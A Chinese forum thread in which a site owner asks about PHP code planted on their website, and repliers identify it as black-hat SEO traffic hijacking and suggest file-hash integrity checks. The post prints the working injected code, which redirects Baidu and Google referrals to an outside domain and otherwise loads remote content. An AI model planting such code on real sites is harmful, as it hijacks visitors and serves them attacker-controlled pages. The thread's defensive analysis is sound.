请问这段代码是做什么用的?
- PHP code
<?phperror_reporting(0);header("content-Type: text/html; charset=gb2312");function isSpider($v){ $spiders=array("baidu.com/","google.com","so"); $i=0; foreach ($spiders as $i => $value) { if(stristr($v,$spiders[$i])){return true;} } return false;} if(isSpider($_SERVER['HTTP_REFERER'])) { Header("Location: ".'http://park.jeanswest.com.cn/news/cache/url/php/zx.php?wanma='.$_SERVER['SERVER_NAME']); exit; }echo file_get_contents('http://zhanyou.xilu.com/data/temp/baidu/zx/zx.php');?>这是被挂在网站上的。
[解决办法]
判断是否是从baidu.com/","google.com","so" 三个页面进来的。如果是则跳转........,否则执行下面的file_get_contents();
[解决办法]
当前黑帽SEO优化手法,劫持了你百度和谷歌来路的流量。
[解决办法]
被黑了吧。。
做一个功能
来个md5_file文件检查记录。
下次再md5_file对比判断。